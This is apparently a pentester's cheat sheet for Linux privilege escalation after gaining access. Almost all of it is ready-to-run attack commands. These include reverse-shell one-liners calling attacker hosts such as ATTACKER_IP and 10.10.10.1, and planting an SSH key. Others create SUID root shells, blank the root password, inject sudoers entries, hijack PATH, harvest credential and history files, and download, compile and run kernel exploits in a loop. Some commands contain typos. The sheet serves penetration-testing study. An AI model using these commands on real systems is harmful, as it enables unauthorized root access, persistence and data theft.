Linux elevation of privileges ToC

Post exploitation

Get a TTY shell after a reverse shell connection

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
```

Set PATH TERM and SHELL if missing:

```
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash
```

Add public key to authorized keys:

```
$ echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authorized_keys
```

Escaping limited interpreters

Some payloads to overcome limited shells:

```
$ ssh user@$ip nc $localip 4444 -e /bin/sh
    enter user's password
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ export TERM=linux
```

```
$ python -c 'import pty; pty.spawn("/bin/sh")'
```

```
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),   *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

```
$ echo os.system('/bin/bash')
```

```
$ /bin/sh -i
```

```
$ exec "/bin/sh";
```

```
$ perl —e 'exec "/bin/sh";'
```

From within tcpdump

```
$ echo $’id\n/bin/netcat $ip 443 -e /bin/bash’ > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root
```

From busybox

```
$ /bin/busybox telnetd -|/bin/sh -p9999
```

```
:!bash
:set shell=/bin/bash:shell
!bash
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
awk 'BEGIN {system("/bin/bash")}'
--interactive
echo "os.execute('/bin/sh')"
sudo nmap --script=exploit.nse
perl -e 'exec "/bin/bash";'
```

Linux elevation of privileges, manual testing

Things to look: Miss-configured services (cronjobs), incorrect file permissions (exportfs, sudo), miss-configured environment ($PATH), binary with SUID bit, software or OS with known vulnerabilities.

First try simple sudo:

```
$ sudo su -
```

What can we run with sudo?

```
$ sudo -l
```

Try su as all users and the username as password

What services are running as root?:

```
$ ps aux | grep root
```

Look for vulnerable/privileged components such as: mysql, sudo, udev, python

If `/etc/exports` if writable, you can add an NFS entry or change and existing entry adding the `no_root_squash` flag to a root directory, put a binary with SUID bit on, and get root.

If there is a `cronjob` that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell.

The following command will list processes running by root, permissions and NFS exports.

```
$ echo 'services running as root'; ps aux | grep root;  echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null
```

Use netstat to find other machines connected

```
$ netstat -ano
```

Command to skip ignored lines in config files

```
$ alias nonempty="egrep -v '^[ \t]*#|^$'"
```

If Mysql is running as root, you can run commands using `sys_exec()`. For instance, to add user to sudoers:

```
sys_exec('usermod -a -G admin username')
```

More about mysql:

```
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
```

Find linux distribution & version

```
$ cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;
```

Architecture

```
$ cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release
```

Environment variables

```
$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set
```

Find printers

```
$ lpstat -a
```

Find apps installed;

```
$ ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*;
```

Find writable configuration files

```
$ find /etc/ -writable -type f 2>/dev/null
```

Miss-configured services

```
$ cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
```

Scheduled jobs

```
$ crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny
```

Grep hardcoded passwords

```
$ grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
```

if web server run in web root:

```
$ grep "localhost" ./ -R
```

Network configuration

```
$ /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname
```

List other users home directories

```
$ ls -ahlR /root/; ls -ahlR /home/
```

User bash history

```
$ cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history
```

User mails

```
$ cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root
```

Find interesting binaries

```
$ find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name ftp
```

Mounted filesystems

```
$ mount; df -h; cat /etc/fstab
```

Look for binaries with the SUID or GUID bits set.

```
$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
$ find / -perm -1000 -type d 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null
```

Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.

```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
    It works
```

if you can just change PATH, the following will add a poisoned ssh binary:

```
 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
 chmod +x ssh
```

Generating SUID C Shell for /bin/bash

```
int main(void){
    setresuid(0, 0, 0);
    system("/bin/bash");
}
```

Without interactive shell

```
$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c
```

If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:

```
$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;
```

If /etc/passwd has incorrect permissions, you can root:

```
 $ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su
```

Add user www-data to sudoers with no password

```
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```

If you can sudo chmod:

```
 $echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid
```

Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an argument to the cron task, For more info:

```
https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562
```

compile exploit fix error

```
$ gcc 9545.c -o 9545 -Wl,--hash-style=both
```

Find other uses in the system

```
 $id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l
```

World readable/writable files:

```
$ echo "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null;
```

Find world-readable files:

```
$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```

Find nobody owned files

```
$ find /dir -xdev \( -nouser -o -nogroup \) -print
```

Add user to sudoers in python.

```
#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()
```

Ring0 kernel exploit for 2.3/2.4

```
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0
```

Inspect web traffic

```
$ tcpdump tcp port 80 -w output.pcap -i eth0
```

Scripts to run

The following script runs exploit suggester and automatically downloads and executes suggested exploits:

```
https://raw.githubusercontent.com/codingo/OSCP-1/master/xploitdeli.py
```

```
wget http://www.securitysift.com/download/linuxprivchecker.py
```

```
wget https://github.com/pentestmonkey/unix-privesc-check
```

Other scripts:

```
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
```

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

```
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
```

```
wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
```

```
wget  https://www.rebootuser.com/?p=1758
```

Exploits worth running

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

```
https://www.exploit-db.com/exploits/15285/
```

Linux Kernel <= 2.6.37 'Full-Nelson.c'

https://www.exploit-db.com/exploits/15704/

CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

```
https://git.zx2c4.com/CVE-2012-0056/about/
```

Linux CVE 2012-0056

```
wget -O exploit.c <http://www.exploit-db.com/download/18411>
  gcc -o mempodipper exploit.c
  ./mempodipper
```

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

```
https://dirtycow.ninja/
```

Compile dirty cow:

```
 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
```

Cross compiling exploits

```
$ gcc -m32 -o output32 hello.c #(32 bit)
$  gcc -m64 -o output hello.c # (64 bit)
```

Linux 2.6.32

```
https://www.exploit-db.com/exploits/15285/
```

Open an xterm remotely

First, run an xserver in your machine

```
$ Xnest :1
```

Then, bind it to xterm, again in your machine:

```
$ xterm -display 127.0.0.1:1
```

Finally, run the follwing in the remote machine:

```
$ /usr/openwin/bin/xterm -display yourip:1
```

Get proof

```
$ echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
```

Elevation in 2.6.x:

```
$ for a in 9352 9513 33321 15774 15150 15944 9543 33322 9545 25288 40838 40616 40611 ; do wget http://yourIP:8000/$a; chmod +x $a; ./$a; id; done
```